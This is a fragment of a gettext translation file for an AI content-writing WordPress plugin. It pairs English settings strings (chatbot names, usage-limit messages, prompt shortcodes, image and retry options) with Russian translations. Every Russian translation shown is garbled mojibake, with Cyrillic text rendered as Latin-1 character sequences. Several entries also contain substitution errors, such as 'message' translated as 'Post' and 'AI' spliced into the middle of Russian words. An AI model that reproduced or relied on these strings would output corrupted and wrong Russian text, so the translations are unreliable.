res/aiomatic-main.php:5422 msgid "Set the maximum number of taxonomies to be processed at each run." msgstr "" "УÑтановите макÑимальное количеÑтво такÑономий, которые будут обрабатыватьÑÑ " "при каждом запуÑке." #: res/aiomatic-main.php:7623 msgid "" "Set the maximum number of times the plugin will retry API calls in case they " "fail. This is useful, as in some cases OpenAI API is failing and a retry " "will work. To disable this feature, leave this field blank. This feature is " "currently not supported if the chatbot is in streaming mode." msgstr "" "Задайте макÑимальное количеÑтво раз, которое плагин будет повторÑÑ‚ÑŒ вызовы " "API в Ñлучае их неудачи. Это полезно, так как в некоторых ÑлучаÑÑ… OpenAI API " "дает Ñбой, и Ð¿Ð¾Ð²Ñ‚Ð¾Ñ€Ð½Ð°Ñ Ð¿Ð¾Ð¿Ñ‹Ñ‚ÐºÐ° Ñрабатывает. Чтобы отключить Ñту функцию, " "оÑтавьте Ñто поле пуÑтым. Ð’ наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ñта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð½Ðµ поддерживаетÑÑ, " "еÑли чатбот находитÑÑ Ð² потоковом режиме." #: res/aiomatic-main.php:7644 msgid "" "Set the maximum number of times the plugin will retry chat API calls in case " "the AI writer considers the chat as ended. Warning, this can consume more " "tokens, as it will retry API calls multiple times. To disable this feature, " "leave this field blank." msgstr "" "УÑтановите макÑимальное количеÑтво раз, когда Плагин будет повторÑÑ‚ÑŒ вызовы " "API чата, еÑли автор AI Ñчитает, что чат закончилÑÑ. Предупреждение: Ñто " "может потреблÑÑ‚ÑŒ больше токенов, так как вызовы API будут повторÑÑ‚ÑŒÑÑ " "неÑколько раз. Чтобы отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым." #: res/aiomatic-main.php:3971 msgid "Set the maximum width of the player in pixels. Default value is 580." msgstr "" "УÑтановить макÑимальную ширину Ð¿Ñ€Ð¾Ð¸Ð³Ñ€Ñ‹Ð²Ð°Ñ‚ÐµÐ»Ñ Ð² пикÑелÑÑ…. Значение по " "умолчанию равно 580." #: res/aiomatic-limits-statistics.php:1389 msgid "" "Set the message to be displayed to logged in users when usage limit is " "reached for the 'Rule Based Restrictions'." msgstr "" "УÑтановите ПоÑÑ‚, которое будет отображатьÑÑ Ð´Ð»Ñ Ð²Ð¾ÑˆÐµÐ´ÑˆÐ¸Ñ… в ÑиÑтему " "пользователей при доÑтиженAI предела иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ Â«ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ð¹ на " "ОÑнове Правил»." #: res/aiomatic-limits-statistics.php:1236 msgid "" "Set the message to be displayed to logged in users when usage limit is " "reached." msgstr "" "УÑтановите ПоÑÑ‚, которое будет отображатьÑÑ Ð´Ð»Ñ Ð·Ð°Ñ€ÐµÐ³Ð¸Ñтрированных " "пользователей при доÑтиженAI предела иÑпользованиÑ." #: res/aiomatic-limits-statistics.php:1365 msgid "" "Set the message to be displayed to not logged in users when usage limit is " "reached." msgstr "" "УÑтановите ПоÑÑ‚, которое будет отображатьÑÑ Ð´Ð»Ñ Ð½ÐµÐ·Ð°Ñ€ÐµÐ³Ð¸Ñтрированных " "пользователей при доÑтиженAI предела иÑпользованиÑ." #: res/aiomatic-limits-statistics.php:240 #: res/aiomatic-limits-statistics.php:1632 msgid "Set the message to show to restricted users." msgstr "УÑтановите ПоÑÑ‚ Ð´Ð»Ñ Ð¿Ð¾ÐºÐ°Ð·Ð° пользователÑм Ñ Ð¾Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð½Ñ‹Ð¼ доÑтупом." #: res/admin/ai-post-gutenberg.php:130 res/admin/ai-post.php:124 msgid "Set the model to be used for the AI content creation." msgstr "" "УÑтановите модель, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° AI." #: res/aiomatic-main.php:3258 msgid "Set the model to use for the Content Wizard feature." msgstr "" "УÑтановите модель, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¸ маÑтера контента." #: aiomatic-automation.php:51 #, php-format msgid "" "Set the multiline input which will be cut to lines and will be used to call " "the below prompt, for each of its lines. This input will be cut up to " "multiple lines and will create the %%current_input_line%% shortcode, usable " "below. Additional shortcodes you can use: %%current_date_time%%, " "%%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% " "+ Spintax, Synergy shortcodes, [aicontent] shortcodes and WordPress " "shortcodes supported." msgstr "" "Задайте многоÑтрочный ввод, который будет разрезан на Ñтроки и будет " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð²Ñ‹Ð·Ð¾Ð²Ð° нижеприведенного промпта Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð¹ из его Ñтрок. " "Этот ввод будет разрезан на неÑколько Ñтрок и ÑоздаÑÑ‚ шорткод " "%%current_input_line%%, который можно иÑпользовать ниже. Дополнительные " "шорткоды, которые вы можете иÑпользовать: %%current_date_time%%, " "%%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%% " "+ поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:50 msgid "Set the multiline input, which will be used to call the AI" msgstr "" "УÑтановите многоÑтрочный вход, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð²Ñ‹Ð·Ð¾Ð²Ð° AI" #: res/aiomatic-chatbot.php:684 #, php-format #| msgid "" #| "Set the name of the AI. This will be prepended to each AI message. This " #| "is useful to teach the AI chatbot about its role and name. List of " #| "supported shortcodes: %%post_title%%, %%post_content%%, " #| "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " #| "%%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, " #| "%%current_date_time%%, %%post_link%%, %%random_sentence%%, " #| "%%random_sentence2%%, %%user_name%%, %%user_email%%, " #| "%%user_display_name%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%," #| " %%user_url%%, %%user_description%%. You can also use custom fields (post " #| "meta) that it's assigned to posts using custom shortcodes in this format: " #| "%%!custom_field_slug!%%. You can also use custom user meta fields (user " #| "meta) which is assigned to usersm using custom shortcodes in this format: " #| "%%~custom_field_slug~%%. Example: if you wish to add data that is " #| "imported from the custom field post_data, you should use this shortcode: " #| "%%!post_data!%%. The length of this command should not be greater than " #| "the max token count set in the settings for the seed command - Update: " #| "nested shortcodes also supported (shortcodes generated by rules from " #| "other plugins)." msgid "" "Set the name of the AI Assistant. This will be prepended to each AI message. " "This is useful to teach the AI chatbot about its role and name. List of " "supported shortcodes: %%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, " "%%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, " "%%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. " "You can also use custom fields (post meta) that it's assigned to posts using " "custom shortcodes in this format: %%!custom_field_slug!%%. You can also use " "custom user meta fields (user meta) which is assigned to usersm using custom " "shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to " "add data that is imported from the custom field post_data, you should use " "this shortcode: %%!post_data!%%. The length of this command should not be " "greater than the max token count set in the settings for the seed command - " "Update: nested shortcodes also supported (shortcodes generated by rules from " "other plugins)." msgstr "" "Задайте Ð¸Ð¼Ñ ÐÑÑиÑтента иÑкуÑÑтвенного интеллекта. Оно будет добавлÑÑ‚ÑŒÑÑ Ðº " "каждому Ñообщению ИИ. Это полезно Ð´Ð»Ñ Ð¾Ð±ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð§Ð°Ñ‚-бота ИИ его роли и имени. " "СпиÑок поддерживаемых шорткодов: %%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, " "%%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, " "%%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. " "Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые " "приÑваиваютÑÑ Ð¿Ð¾Ñтам Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ шорткодов в таком формате: %%!" "custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие мета-" "Ð¿Ð¾Ð»Ñ (user meta), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ " "пользовательÑких шорткодов в формате: %%~custom_field_slug~%%. Пример: еÑли " "вы хотите добавить данные, импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ " "post_data, иÑпользуйте Ñтот шорткод: %%!post_data!%%. Длина Ñтой команды не " "должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках " "команды seed - Обновление: вложенные шорткоды также поддерживаютÑÑ (шорткоды," " Ñозданные по правилам других плагинов)." #: res/aiomatic-chatbot.php:1094 res/aiomatic-chatbot.php:1148 msgid "" "Set the name of the AI. This will be prepended to each AI message. This is " "useful to teach the AI chatbot about its role and name." msgstr "" "УÑтановите Ð¸Ð¼Ñ AI. Это будет добавлено к каждому ПоÑту AI. Это полезно, " "чтобы научить чат-бота AI его роли и имени." #: res/aiomatic-chatbot.php:738 #, php-format #| msgid "" #| "Set the name of the AI Assistant. This will be prepended to each AI " #| "message. This is useful to teach the AI chatbot about its role and name. " #| "List of supported shortcodes: %%post_title%%, %%post_content%%, " #| "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " #| "%%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, " #| "%%current_date_time%%, %%post_link%%, %%random_sentence%%, " #| "%%random_sentence2%%, %%user_name%%, %%user_email%%, " #| "%%user_display_name%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%," #| " %%user_url%%, %%user_description%%. You can also use custom fields (post " #| "meta) that it's assigned to posts using custom shortcodes in this format: " #| "%%!custom_field_slug!%%. You can also use custom user meta fields (user " #| "meta) which is assigned to usersm using custom shortcodes in this format: " #| "%%~custom_field_slug~%%. Example: if you wish to add data that is " #| "imported from the custom field post_data, you should use this shortcode: " #| "%%!post_data!%%. The length of this command should not be greater than " #| "the max token count set in the settings for the seed command - Update: " #| "nested shortcodes also supported (shortcodes generated by rules from " #| "other plugins)." msgid "" "Set the name of the AI. This will be prepended to each AI message. This is " "useful to teach the AI chatbot about its role and name. List of supported " "shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, " "%%user_display_name%%, %%user_role%%, %%user_id%%, %%user_firstname%%, " "%%user_lastname%%, %%user_url%%, %%user_description%%. You can also use " "custom fields (post meta) that it's assigned to posts using custom " "shortcodes in this format: %%!custom_field_slug!%%. You can also use custom " "user meta fields (user meta) which is assigned to usersm using custom " "shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to " "add data that is imported from the custom field post_data, you should use " "this shortcode: %%!post_data!%%. The length of this command should not be " "greater than the max token count set in the settings for the seed command - " "Update: nested shortcodes also supported (shortcodes generated by rules from " "other plugins)." msgstr "" "Задайте имÑAI. Оно будет добавлÑÑ‚ÑŒÑÑ Ðº каждому Ñообщению AI. Это полезно Ð´Ð»Ñ " "Ð¾Ð±ÑƒÑ‡ÐµÐ½Ð¸Ñ AI Чат-бота его роли и имени. СпиÑок поддерживаемых шорткодов: " "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, " "%%user_display_name%%, %%user_role%%, %%user_id%%, %%user_firstname%%, " "%%user_lastname%%, %%user_url%%, %%user_description%%. Ð’Ñ‹ также можете " "иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые приÑваиваютÑÑ Ð¿Ð¾Ñтам " "Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ шорткодов в таком формате: %%!custom_field_slug!%%. Ð’Ñ‹ также " "можете иÑпользовать пользовательÑкие мета-Ð¿Ð¾Ð»Ñ (user meta), которые " "назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в формате: " "%%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, " "импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот " "шорткод: %%!post_data!%%. Длина Ñтой команды не должна превышать " "макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды seed - " "Обновление: вложенные шорткоды также поддерживаютÑÑ (шорткоды, Ñозданные по " "правилам других плагинов)." #: res/aiomatic-main.php:3355 msgid "Set the name of the command, which will appear in the post editor." msgstr "УÑтановите Ð¸Ð¼Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ñ‹, которое будет отображатьÑÑ Ð² редакторе ПоÑтов." #: res/aiomatic-spinner-list.php:4311 msgid "" "Set the name of the custom field which will be set to posts which were " "already edited. Changing this can be useful if you want to reedit already " "edited posts. The default is: aiomatic_published" msgstr "" "УÑтановите Ð¸Ð¼Ñ Ð½Ð°Ñтраиваемого полÑ, которое будет уÑтановлено Ð´Ð»Ñ ÑƒÐ¶Ðµ " "отредактированных ПоÑтов. Изменение Ñтого может быть полезно, еÑли вы хотите " "повторно редактировать уже отредактированные ПоÑÑ‚Ñ‹. По умолчанию: " "aiomatic_published" #: aiomatic-automatic-ai-content-writer.php:12690 #: res/aiomatic-automation-list.php:158 msgid "Set the name of the OmniBlock template to save." msgstr "Задайте Ð¸Ð¼Ñ ÑˆÐ°Ð±Ð»Ð¾Ð½Ð° OmniBlock Ð´Ð»Ñ ÑохранениÑ." #: res/aiomatic-chatbot.php:1200 msgid "" "Set the name of the user. This will be prepended to each user message. This " "is useful to teach the AI chatbot about its role and name." msgstr "" "УÑтановите Ð¸Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ. Это будет добавлено к каждому пользовательÑкому " "ПоÑту. Это полезно, чтобы научить чат-бота AI его роли и имени." #: res/aiomatic-chatbot.php:787 #, php-format #| msgid "" #| "Set the name of the user. This will be prepended to each user message. " #| "This is useful to teach the AI chatbot about its role and name. List of " #| "supported shortcodes: %%post_title%%, %%post_content%%, " #| "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " #| "%%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, " #| "%%current_date_time%%, %%post_link%%, %%random_sentence%%, " #| "%%random_sentence2%%, %%user_name%%, %%user_email%%, " #| "%%user_display_name%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%," #| " %%user_url%%, %%user_description%%. You can also use custom fields (post " #| "meta) that it's assigned to posts using custom shortcodes in this format: " #| "%%!custom_field_slug!%%. You can also use custom user meta fields (user " #| "meta) which is assigned to usersm using custom shortcodes in this format: " #| "%%~custom_field_slug~%%. Example: if you wish to add data that is " #| "imported from the custom field post_data, you should use this shortcode: " #| "%%!post_data!%%. The length of this command should not be greater than " #| "the max token count set in the settings for the seed command - Update: " #| "nested shortcodes also supported (shortcodes generated by rules from " #| "other plugins)." msgid "" "Set the name of the user. This will be prepended to each user message. This " "is useful to teach the AI chatbot about its role and name. List of supported " "shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, " "%%user_display_name%%, %%user_role%%, %%user_id%%, %%user_firstname%%, " "%%user_lastname%%, %%user_url%%, %%user_description%%. You can also use " "custom fields (post meta) that it's assigned to posts using custom " "shortcodes in this format: %%!custom_field_slug!%%. You can also use custom " "user meta fields (user meta) which is assigned to usersm using custom " "shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to " "add data that is imported from the custom field post_data, you should use " "this shortcode: %%!post_data!%%. The length of this command should not be " "greater than the max token count set in the settings for the seed command - " "Update: nested shortcodes also supported (shortcodes generated by rules from " "other plugins)." msgstr "" "Задайте Ð¸Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ. Оно будет добавлÑÑ‚ÑŒÑÑ Ðº каждому Ñообщению " "пользователÑ. Это полезно Ð´Ð»Ñ Ð¾Ð±ÑƒÑ‡ÐµÐ½Ð¸Ñ AI Чат-бота его роли и имени. СпиÑок " "поддерживаемых шорткодов: %%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, " "%%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, " "%%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. " "Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые " "приÑваиваютÑÑ Ð¿Ð¾Ñтам Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ шорткодов в таком формате: %%!" "custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие мета-" "Ð¿Ð¾Ð»Ñ (user meta), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ " "пользовательÑких шорткодов в формате: %%~custom_field_slug~%%. Пример: еÑли " "вы хотите добавить данные, импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ " "post_data, иÑпользуйте Ñтот шорткод: %%!post_data!%%. Длина Ñтой команды не " "должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках " "команды seed - Обновление: вложенные шорткоды также поддерживаютÑÑ (шорткоды," " Ñозданные по правилам других плагинов)." #: res/aiomatic-assistants.php:378 res/aiomatic-assistants.php:533 msgid "Set the name of this assistant." msgstr "УÑтановите Ð¸Ð¼Ñ Ñтого аÑÑиÑтента." #: res/aiomatic-chatbot.php:5515 msgid "Set the name of this persona." msgstr "УÑтановите Ð¸Ð¼Ñ Ñтого перÑонажа." #: res/aiomatic-rules-list.php:506 res/aiomatic-rules-list.php:3352 #: res/aiomatic-single-list.php:1459 res/aiomatic-single-list.php:3447 #: res/aiomatic-youtube-list.php:509 res/aiomatic-youtube-list.php:3085 msgid "" "Set the number of related images to add to the created post content. This " "feature will use the royalty free image sources configured in the plugin's " "'Main Settings' menu or if you have access to the DallE API. You can change " "image source in the 'AI Image Source' settings field from below. The maximum " "number of images you can add to each article: number of sections + 2" msgstr "" "УÑтановите количеÑтво ÑвÑзанных изображений Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Ñодержимому " "Ñозданного ПоÑта. Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользовать беÑплатные иÑточники " "изображений, наÑтроенные в меню «ОÑновные ÐаÑтройки» Плагина или еÑли у Ð²Ð°Ñ " "еÑÑ‚ÑŒ доÑтуп к API DallE. Ð’Ñ‹ можете изменить иÑточник Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð² поле " "ÐаÑтроек «ИÑточник Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ AI» Ñнизу. МакÑимальное количеÑтво " "изображений, которые вы можете добавить к каждой Ñтатье: количеÑтво Разделов " "+ 2" #: res/aiomatic-rules-list.php:3413 msgid "" "Set the number of related videos to add to the created post content. The " "maximum number of videos you can add to each article: number of sections" msgstr "" "УÑтановите количеÑтво ÑвÑзанных видео Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Ñозданному " "Ñодержимому публикации. МакÑимальное количеÑтво видео, которое вы можете " "добавить к каждой Ñтатье: количеÑтво Разделов" #: res/aiomatic-rules-list.php:557 res/aiomatic-single-list.php:1510 msgid "" "Set the number of related YouTube videos to add to the created post content. " "The maximum number of videos you can add to each article: number of sections" msgstr "" "УÑтановите количеÑтво ÑвÑзанных видео YouTube, которые нужно добавить к " "Ñодержимому Ñозданного ПоÑта. МакÑимальное количеÑтво видео, которое вы " "можете добавить к каждой Ñтатье: количеÑтво Разделов" #: aiomatic-automation.php:1129 msgid "Set the numeric ID of the author of the post" msgstr "УÑтановите чиÑловой идентификатор автора поÑта" #: aiomatic-automatic-ai-content-writer.php:12985 #: aiomatic-automatic-ai-content-writer.php:13975 #: res/aiomatic-automation-list.php:349 res/aiomatic-automation-list.php:1344 #: res/aiomatic-automation-list.php:2816 res/aiomatic-automation-list.php:3811 #: res/aiomatic-automation-list.php:5567 res/aiomatic-automation-list.php:6567 msgid "Set the parameters which will be used in this OmniBlock." msgstr "УÑтановите параметры, которые будут иÑпользоватьÑÑ Ð² Ñтом OmniBlock." #: res/aiomatic-main.php:4319 #, php-format msgid "" "Set the path on your local server of the phantomjs executable. If you leave " "this field blank, the default 'phantomjs' call will be used. How to install PhantomJs?" msgstr "" "Укажите путь к иÑполнÑемому файлу phantomjs на вашем локальном Ñервере. ЕÑли " "оÑтавить Ñто поле пуÑтым, будет иÑпользоватьÑÑ Ð²Ñ‹Ð·Ð¾Ð² 'phantomjs' по " "умолчанию. Как уÑтановить PhantomJs? " #: res/aiomatic-chatbot.php:2200 msgid "Set the placeholder text of the chat input. The default is: empty." msgstr "УÑтановите текÑÑ‚-заполнитель Ð´Ð»Ñ Ð²Ð²Ð¾Ð´Ð° в чате. По умолчанию: пуÑто." #: res/aiomatic-chatbot.php:1218 msgid "" "Set the placeholder text of the chat input. The default is: Enter your chat " "message here." msgstr "" "УÑтановите текÑÑ‚-заполнитель Ð´Ð»Ñ Ð²Ð²Ð¾Ð´Ð° чата. По умолчанию: Введите Ñвое ПоÑÑ‚ " "чата здеÑÑŒ." #: res/aiomatic-amazon-list.php:1281 res/aiomatic-amazon-list.php:3820 #: res/aiomatic-csv-list.php:635 res/aiomatic-csv-list.php:1791 #: res/aiomatic-review-list.php:1350 res/aiomatic-review-list.php:3973 #: res/aiomatic-rules-list.php:1483 res/aiomatic-rules-list.php:4221 #: res/aiomatic-single-list.php:1290 res/aiomatic-single-list.php:2187 #: res/aiomatic-single-list.php:2922 res/aiomatic-single-list.php:4175 #: res/aiomatic-single-list.php:5489 res/aiomatic-single-list.php:6855 #: res/aiomatic-spinner-list.php:2163 res/aiomatic-youtube-list.php:1237 #: res/aiomatic-youtube-list.php:3731 #| msgid "" #| "Set the post types where to create internal links in posts. You can also " #| "add a comma separated list of multiple post types." msgid "" "Set the post types where to create automatic links in posts. You can also " "add a comma separated list of multiple post types." msgstr "" "УÑтановите Типы ПоÑтов, где Ñоздавать внутренние ÑÑылки в ПоÑтах. Ð’Ñ‹ также " "можете добавить Разделенный запÑтыми ÑпиÑок неÑкольких Типов ПоÑтов." #: res/aiomatic-chatbot.php:2661 msgid "" "Set the prompt completion to be sent to the AI writer, so it will become " "aware that it can send emails. This prompt will be added to the conversation " "only when the user enteres in the message sent to the AI, any of the " "following keywords: email, e-mail" msgstr "" "УÑтановите быÑтрое завершение Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸ автору AI, чтобы он узнал, что " "может отправлÑÑ‚ÑŒ emails. Этот Промпт будет добавлен в беÑеду только тогда, " "когда пользователь введет в Ñообщение, отправленное AI, любое из Ñледующих " "ключевых Ñлов: email, e-mail" #: res/aiomatic-main.php:3365 #, php-format msgid "" "Set the prompt to be sent to the AI when clicking on this command in post " "editor. You can use the %%selected_text%% shortcode also." msgstr "" "УÑтановите Промпт, который будет отправлен AI при нажатии на Ñту команду в " "редакторе ПоÑтов. Ð’Ñ‹ также можете иÑпользовать короткий код " "%%selected_text%%." #: res/aiomatic-main.php:5572 #, php-format msgid "" "Set the prompt to be used for the AI Comment Writer feature. You can use the " "following shortcodes here: %%post_title%%, %%post_excerpt%%, %%username%%, " "%%comment%% - default is: Write a reply for %%username%%'s comment on the " "post titled \"%%post_title%%\". The user's comment is: %%comment%%" msgstr "" "УÑтановите Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¸ запиÑи " "комментариев AI. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: " "%%post_title%%, %%post_excerpt%%, %%username%%, %%comment%% — по умолчанию: " "напиÑать ответ на комментарий %%username%% к ПоÑту. под названием " "\"%%post_title%%\". Комментарий пользователÑ: %%comment%%" #: res/aiomatic-main.php:5114 #, php-format msgid "" "Set the prompt to be used for the AI Default Featured Image Selector. You " "can use the following shortcodes: %%post_title%%, %%image_list%% - The " "default value for this settings field is: Select an image URL, based on its " "file name, which matches the best the post, based on its title. If no " "matching image can be selected, pick a random one from the list. Respond " "only with the URL of the selected image and with nothing else. The title of " "the post is: \"%%post_title%%\" The image URL list is: %%image_list%%" msgstr "" "УÑтановите промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð²Ñ‹Ð±Ð¾Ñ€Ð° избранных " "изображений AI по умолчанию. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: " "%%post_title%%, %%image_list%% — значение по умолчанию Ð´Ð»Ñ Ñтого Ð¿Ð¾Ð»Ñ " "наÑтроек: выберите URL-Ð°Ð´Ñ€ÐµÑ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð½Ð° оÑнове имени его файла, который " "лучше вÑего ÑоответÑтвует поÑту на оÑнове его заголовка. . ЕÑли подходÑщее " "изображение невозможно выбрать, выберите Ñлучайное из ÑпиÑка. Отвечайте " "только URL-адреÑом выбранного Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¸ ничем больше. Заголовок поÑта: " "\"%%post_title%%\". СпиÑок URL-адреÑов изображений: %%image_list%%." #: res/aiomatic-main.php:3816 #, php-format msgid "" "Set the prompt to be used for the AI Linking Keyword Extraction feature. You " "can use the following shortcodes here: %%content%% - the default value for " "this field is: Extract a comma-separated list of the most relevant keywords " "from the text, prioritizing specific references over general keywords. Add " "the highest priority to the most specific keyword that is still related to " "the main topic. The text is: %%content%%." msgstr "" "УÑтановите промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¸ Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ " "ключевых Ñлов AI ЛинкованиÑ. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие короткие " "коды: %%content%% — значение по умолчанию Ð´Ð»Ñ Ñтого полÑ: Извлечь из текÑта " "ÑпиÑок наиболее релевантных ключевых Ñлов, разделенных запÑтыми, Ð¾Ñ‚Ð´Ð°Ð²Ð°Ñ " "приоритет конкретным ÑÑылкам над общими ключевыми Ñловами. Добавьте " "наивыÑший приоритет к наиболее конкретному ключевому Ñлову, которое по-" "прежнему ÑвÑзано Ñ Ð¾Ñновной темой. ТекÑÑ‚: %%content%%." #: res/aiomatic-main.php:5213 #, php-format msgid "" "Set the prompt to be used for the AI Taxonomy Description Writer feature. " "You can use the following shortcodes here: %%term_name%%, %%term_id%%, " "%%term_slug%%, %%term_description%%, %%term_taxonomy_name%%, " "%%term_taxonomy_id%% - default is: Write a description for a WordPress " "%%term_taxonomy_name%% with the following title: \"%%term_name%%\"" msgstr "" "УÑтановите Промпт ,которыый будет иÑпользоватьÑÑ Ð´Ð»Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¸ запиÑи опиÑÐ°Ð½Ð¸Ñ " "такÑономии AI. ЗдеÑÑŒ вы можете иÑпользовать Ñледующие короткие коды: " "%%term_name%%, %%term_id%%, %%term_slug%%, %%term_description%%, " "%%term_taxonomy_name%%, %%term_taxonomy_id%% — по умолчанию: Введите " "опиÑание Ð´Ð»Ñ WordPress %%term_taxonomy_name%% Ñо Ñледующим заголовком: " "\"%%term_name%%\"" #: 